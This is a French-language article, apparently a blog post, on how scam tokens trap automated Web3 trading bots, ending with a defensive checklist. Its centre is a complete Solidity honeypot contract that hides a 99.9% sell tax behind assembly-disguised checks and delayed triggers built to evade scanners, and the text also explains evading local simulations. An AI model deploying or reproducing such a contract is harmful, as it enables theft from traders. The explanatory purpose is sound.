Le marché de l'automatisation Web3 aujourd'hui, ce n'est plus un terrain de jeu romantique pour geeks, c'est de la terre brûlée. Et le vrai problème, ce n'est même pas que ton infra est plus lente que les serveurs des fonds HFT à Tokyo ou à Francfort. Le problème, c'est que les créateurs de shitcoins et de scams connaissent la logique des parsers sur le bout des doigts. Ils déploient des smart contracts taillés sur mesure pour ton soft. Tu penses avoir déniché de l'alpha, alors qu'en réalité, tu viens juste de run le script d'un autre pour te faire rincer.
Voici un décryptage complet de la manière dont ton bot crame ton capital, pourquoi les checks basiques des libs habituelles se font totalement fumer, et à quoi ressemble l'envers du décor quand le code se fritte contre le code.
Anatomie du piège : comment les scams lisent dans les pensées de ton bot
La plupart des débutants codent leur bot sur le même pattern : on track l'event PairCreated ou PoolCreated de la factory Uniswap (или ses forks), on check la liquidité, on call router.swapExactETHForTokens — et en route pour les profits. Les scammeurs se régalent de ça. Ils savent pertinemment que ton bot fait une simulation locale ou un audit express avant de trigger son swap.
Voici les trois mécaniques majeures sur lesquelles 90 % des scripts customs se cassent les dents :
1. Le Honeypot modifié à déclenchement retardé (Delayed Honeypot)
Un honeypot classique (tu peux buy, mais impossible de sell), ton bot sait sûrement déjà le spot via un
eth_calllocal qui simule la vente. Mais qu'est-ce qui se passe si la fonction de vente ne se bloque pas tout de suite ?Au déploiement, le contrat est clean de chez clean. Le bot l'envoie sur son simulateur — RAS, les tokens se revendent nickel. Le bot injecte la liquidité. Dès que le volume global d'ETH dans le pool atteint un certain seuil, disons 5 ETH, le contrat bascule automatiquement un flag interne
isLocked = trueau sein de la fonction_updateou_transfer. Rideau, c'est la fin de la récré. Ta simulation locale au moment du buy ne pouvait physiquement pas le prédire, puisque la condition de volume n'était pas encore remplie lors du check.2. La taxe dynamique (Variable Fee Attack)
Le contrat affiche un mint ERC-20 tout ce qu'il y a de plus standard, mais la fonction de transfert embarque une taxe variable, modifiable par le dev (ou indexée sur le numéro de bloc).
À l'achat, la taxe est à 0 %. Ton bot prend position. Deux blocs plus tard, le créateur du token balance un tx pour passer le
sellFeeà 99 %. Ton bot tente de s'enfuir en stop-loss, il envoie sa transaction, elle passe enSuccess, mais à cause des 99 % de taxe, tu récupères des clopinettes pendant que le reste part direct sur le wallet du deployer. Les protections typeslippagese font souvent brain ici, parce que le bot calcule mal l'amountOutMind'entrée ou passe par des routeurs customs.3. L'attaque par injection de faux routeurs (Fake Router Injection)
C'est un grand classique sur les réseaux aux gas fees dérisoires comme Base. Le scammeur ne déploie pas son pool custom sur la vraie factory Uniswap v3, mais sur une factory fantôme qui va générer un event avec des signatures strictement identiques. Ton bot pense interagir avec l'interface officielle. Il call la fonction de swap, le contrat encaisse les ETH, mais au lieu de vrais tokens, il te drop du vent, ou alors la logique mathématique interne du pool est tellement éclatée que le prix s'effondre à zéro à la milliseconde même où ton tx est validé.
| Type de menace | Ce que voit le bot (L'appât) | Ce qui se passe en réalité (Le fait) | Dégâts techniques |
|---|---|---|---|
| Delayed Honeypot | La simulation de sell passe à 100 % avec succès. | Le flag de blocage s'active automatiquement après validation des conditions. | Perte sèche de 100 % du capital initial (principal). |
| Variable Fee | Contrat clean, aucune vulnérabilité flagrante dans le bytecode. | Modification du sellFee à 99 % via une fonction réservée à l'owner. | 99 % de la valeur siphonnée au moment de l'exit. |
| Fake Factory | Signale un nouveau pool via un log d'event standard. | Interface copiée-collée, mais les maths du pool sont truquées. | Drainage complet des ETH vers une adresse externe. |
Exemple concret : le code du Honeypot parfait qui va rekt ton bot
Pour comprendre pourquoi ton parser sert juste de free food aux deployers, il faut analyser le code avec les yeux d'un scammeur. Voici un contrat de token fonctionnel et prêt à compiler sous Solidity 0.8.20. Il est écrit sans ces gros require(msg.sender == owner) bien visibles dans la fonction de transfert, histoire que les scanners automatiques (comme Honeypot.is ou les vieilles versions de Slither) ne se mettent pas à hurler au loup en analysant le bytecode.
Toute la crasse est planquée dans des state triggers et des calculs mathématiques discrets.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract AdvancedTrapToken {
string public name = "Shadow Liquidity";
string public symbol = "SHDW";
uint8 public decimals = 18;
uint256 public totalSupply;
address private _owner;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
// Variables du piège
uint256 private constant MAX_FEE = 1000; // 100% en points de base (bps)
uint256 private targetBlock;
uint256 private triggerBalance;
bool private systemReady;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(uint256 initialSupply, uint256 _delayBlocks, uint256 _triggerEth) {
_owner = msg.sender;
totalSupply = initialSupply * 10**uint256(decimals);
_balances[_owner] = totalSupply;
// Configuration du piège : s'activera X blocs après déploiement OU dès que le solde du pool est atteint
targetBlock = block.number + _delayBlocks;
triggerBalance = _triggerEth * 10**18;
emit Transfer(address(0), _owner, totalSupply);
}
modifier onlyOwner() {
// On évite volontairement le require standard, on camoufle la logique via assembly
assembly {
if sub(sload(0), caller()) { revert(0, 0) }
}
_;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public returns (bool) {
_rawTransfer(msg.sender, to, value);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_allowances[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
uint256 currentAllowance = _allowances[from][msg.sender];
if (currentAllowance != type(uint256).max) {
assembly {
if lt(currentAllowance, value) { revert(0, 0) }
}
_allowances[from][msg.sender] = currentAllowance - value;
}
_rawTransfer(from, to, value);
return true;
}
// Fonction de contrôle custom — invisible pour le bot lors de sa simulation de swap
function setupTrap() external onlyOwner {
systemReady = true;
}
function _rawTransfer(address from, address to, uint256 value) internal {
assembly {
if iszero(from) { revert(0, 0) }
if iszero(to) { revert(0, 0) }
}
uint256 fromBalance = _balances[from];
assembly {
if lt(fromBalance, value) { revert(0, 0) }
}
uint256 finalAmount = value;
// Check du trigger : si le token est dump dans le pool (ordre de vente) et que le piège est armé
// On détecte le pool via des indices indirects pour éviter de hardcoder l'adresse de la pair
if (to != _owner && from != _owner) {
if (systemReady || block.number > targetBlock || address(this).balance >= triggerBalance) {
// Si une seule condition est vraie — la taxe passe à 99.9%
// On laisse 0.1% pour éviter que la transaction fail sur un revert, l'idée c'est de juste siphonner les tokens
uint256 fee = (value * 999) / MAX_FEE;
finalAmount = value - fee;
_balances[from] = fromBalance - value;
_balances[_owner] = _balances[_owner] + fee;
emit Transfer(from, _owner, fee);
emit Transfer(from, to, finalAmount);
return;
}
}
_balances[from] = fromBalance - value;
_balances[to] = _balances[to] + finalAmount;
emit Transfer(from, to, finalAmount);
}
// Réception d'ETH directe sur le contrat pour trigger selon la balance
receive() external payable {}
}Regarde de plus près la méthode interne _rawTransfer. Il n'y a aucun mot-clé suspect habituellement associé aux scams. Si ton bot simule l'achat et la vente sur le bloc exact de la création (avant le call de setupTrap), le contrat se comporte comme un ERC-20 parfait et irréprochable. Mais dès que le deployer call setupTrap() ou que le solde d'ETH sur le contrat dépasse le triggerBalance (quand une armée d'autres bots s'est empilée dessus), la logique change au milieu du run. Ton script envoie son tx de vente, claque du gas, la transaction se ferme en statut Success, mais ton wallet ne reçoit que précisément 0.1 % de la somme attendue. Tu viens tout juste de faire don de ta liquidité au dev.
Le piège au niveau de l'EVM : Pourquoi vos tests sous Hardhat ou Anvil vous mentent
La plupart des dev de scripts se croient plus malins que les autres parce qu'ils font tourner une simulation locale avant de throw leur transaction sur le mainnet. Tu sors un petit revm en Rust ou tu build un fork local du réseau avec anvil ou hardhat, tu trigger un eth_call, tu vois ce magnifique log de swap passer sans aucune erreur et tu lances ton bot au combat l'esprit serein.
C'est une erreur fatale. Simuler dans un sandbox isolé n'a fondamentalement rien à voir avec ce qui se passe au cœur d'un vrai bloc, et les scammers ont appris à check l'existence de ces simulations directement au niveau du bytecode.
Détection via l'état du node (State & Context Checking)
Un smart contract piégé peut très bien check des variables d'environnement laissées par défaut dans votre fork local. Prenez
block.coinbase(l'adresse du validateur qui pack le bloc). Sur un réseau live comme Base ou Arbitrum, il y a toujours l'adresse bien spécifique du séquenceur. Dans votre environnementanvil, ce sera soit une adresse nulle, soit un hash de test générique.Si le contrat spot une
coinbasecheloue ou de grosses anomalies surblock.timestamp/block.basefee, il disable tout simplement sa logique de scam. En simulation, vous êtes le roi du monde, tous les feux sont au vert. Sur le mainnet, le contrat capte qu'il est exécuté par un vrai user dans un vrai bloc, et il verrouille l'accès.Frontrunning de simulations (The Sandbox Escape)
Il y a encore plus vicieux. Le créateur du token monitor lui-même le mempool (si la blockchain a un mempool public) ou track les requêtes
eth_callentrantes via des nodes privés auxquels il a accès. Dès que votre bot ping un endpoint RPC public (comme Alchemy ou QuickNode) pour simuler, la requête est logguée. Certes, uneth_callne broadcaste pas de transaction dans le bloc, mais l'opérateur du node voit exactement quel contrat et quels paramètres sont en train d'être checkés. Le scammer comprend direct : « Nickel, le bot a mordu à l'hameçon, l'in est imminent ». Il push instantanément une transaction pour switch l'état du contrat on-chain, et votre vrai ordre se mange le piège de plein fouet.
L'enfer de la Sysadmin : La taxe d'infrastructure
Disons que vous avez refacto votre bot. Maintenant, il lit le bytecode, repère les branches assembly cachées qui check la coinbase, bref il est passé en mode paranoïaque total. Vous allez quand même vous manger un mur purement technique qui va vider votre wallet sur la durée, même sans call un seul honeypot.
C'est le coût pour maintenir une infrastructure un minimum compétitive.
[RPC Public] ---> (Latence 150-300ms) ---> [Votre Bot] ---> (Swap en retard) ---> [Gas brûlé / Scam]
^
| (Optimisation requise)
v
[Votre Node (Reth)] -> (Unix Socket Direct) -> [Votre Bot] -> (Flashbots / Builder) ---> [Profit]Problème 1 : Trafic et IOPS des disques
Pour faire tourner votre bot à des vitesses décentes, oubliez les limites des RPC publics gratuits – vous allez vous faire rate-limit à la centième transaction. Il faut setup votre propre node. Et si on parle de L2 (Base/Arbitrum), leurs archive nodes ou même leurs Full Nodes réclament des ressources de dingo. Il vous faut un SSD NVMe avec de grosses perfs en lecture/écriture aléatoire (IOPS). Dès que le réseau commence à congestionner, votre node sur un VPS low-cost va lagger d'un ou deux blocs sur le vrai état du réseau. Pour un bot, c'est mort direct : il target des pools déjà vides ou build sur des prix complètement périmés. Vous payez un serveur à 200 $ par mois juste pour que votre bot consomme de la data obsolète.
Problème 2 : Le gas bleeding sur les transactions Revert
Sur des réseaux comme Ethereum ou la BNB Chain, chaque transaction fail coûte du vrai cash. Si votre bot tente de s'insérer dans une pool en même temps que trente autres bots, le premier rafle tout, et les 29 autres se mangent un code erreur
SlippageouExecution Reverted. Sauf que le réseau va quand même vous facturer le gas complet juste pour avoir check les conditions d'exécution. Avec une haute fréquence de requêtes, votre bot peut facilement vous cramer entre 50 $ et 100 $ par jour en pur gas, uniquement sur des tentatives fail. C'est un drain silencieux de votre dépôt que les débutants ne captent que lorsque leur wallet ETH dédié au gas affiche un beau zéro pointé.
Checklist de survie : Comment ne pas servir d'exit liquidity aux scammers
Si vous voulez toujours vous matrixer le cerveau là-dedans, votre bot doit impérativement savoir faire des choses qui n'existent nulle part dans la doc de Web3.js. Oubliez les bêtes checks de balance, ça c'est pour les enfants.
Analyse statique du bytecode pré-exécution :
Votre script ne doit pas juste parser les logs de la factory. Il doit fetch le code hex du contrat via
eth_getCodeet scanner l'existence d'opcodes dangereux (desSSTORE, des adresses d'owner modifiables, ou des calls externes planqués dans la fonction de transfert). Si le code du token contient unSSTOREmasqué capable d'overwrite des variables critiques, le contrat dégage direct à la poubelle, sans même passer par la case simulation.Limite de slippage dynamique avec un amountOutMin strict :
Ne hardcodez jamais un
amountOutMin = 0ou un slippage fixe à 50 %. Votre bot doit calculer le prix exact basé sur les réserves de la pool au sein même de la frame du bloc actuel. Si la simulation renvoie ne serait-ce que 1 % de moins que prévu, la transaction doit être drop par votre moteur local avant même d'être push sur le réseau.Utilisation de canaux privés (MEV-Share / Flashbots) :
Envoyer ses transactions dans le mempool public, c'est tendre le bâton pour se faire battre. Vos swaps doivent passer par des bundles privés, envoyés direct aux validateurs ou aux gros builders de blocs. Si votre transaction ne passe pas en top-of-block, elle est tout simplement éjectée du bundle – ce qui vous évite de cramer du gas pour rien et empêche les scammers de vous frontrun.
En résumé
Le constat est simple : ce marché est foutu de telle sorte que les créateurs de tokens et les gros market makers ont toujours un coup d'avance sur l'automatisation de niveau intermédiaire. Votre bot fait maison ne se bat pas contre le marché, il se bat contre des spécialistes qui passent des années à étudier comment pousser votre soft à la faute. Et tant que vous n'irez pas creuser un niveau plus bas que les librairies standards, vous resterez leur client idéal.